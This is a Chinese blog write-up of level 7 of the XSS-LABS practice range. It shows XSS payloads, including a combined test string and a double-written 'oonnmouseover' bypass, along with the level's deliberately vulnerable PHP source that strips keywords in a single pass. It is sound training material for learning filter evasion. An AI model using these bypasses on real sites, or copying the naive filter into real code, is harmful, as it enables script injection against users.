关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
进入靶场,查看页面源码,搜索关键字move up!
,查看页面回显点:
我们针对第二处回显点构造 Payload,这里我们可以把前几关的都综合一下,整个 Payload 大杂烩,一起测试:
" Onmouseover="alert(1)" Oonnmouseover="alert(2)"><scRiPt>alert(3)</scRiPt><a hRef="javascript:alert(1)">
直接过关了,俺也不知道是哪条绕过了防线,这里查看一下网页源码:
通过源码分析出触发 XSS 代码的部分为Oonmouseover="alert(2)"
,所以本关主要是使用双写绕过,其精简版 Payload 如下:
" oonnmouseover="alert(1)
0x02:源码分析
下面是 XSS LABS Level 7 的源码,以及我对其做的部分笔记:
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
// 修改 alert 默认行为,跳转到下一关
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); // 接收 GET 传递过来的 keyword 对应的值,并全部转换为小写
$str2 = str_replace("script", "", $str); // 将 script 替换为空
$str3 = str_replace("on", "", $str2); // 将 on 替换为空
$str4 = str_replace("src", "", $str3); // 将 src 替换为空
$str5 = str_replace("data", "", $str4); // 将 data 替换为空
$str6 = str_replace("href", "", $str5); // 将 href 替换为空
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form action=level7.php method=GET>
<input name=keyword value="' . $str6 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>'; // 出现替换为空,最简单的绕过策略就是双写关键字:on => oonn
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str6) . "</h3>";
?>
</body>
</html>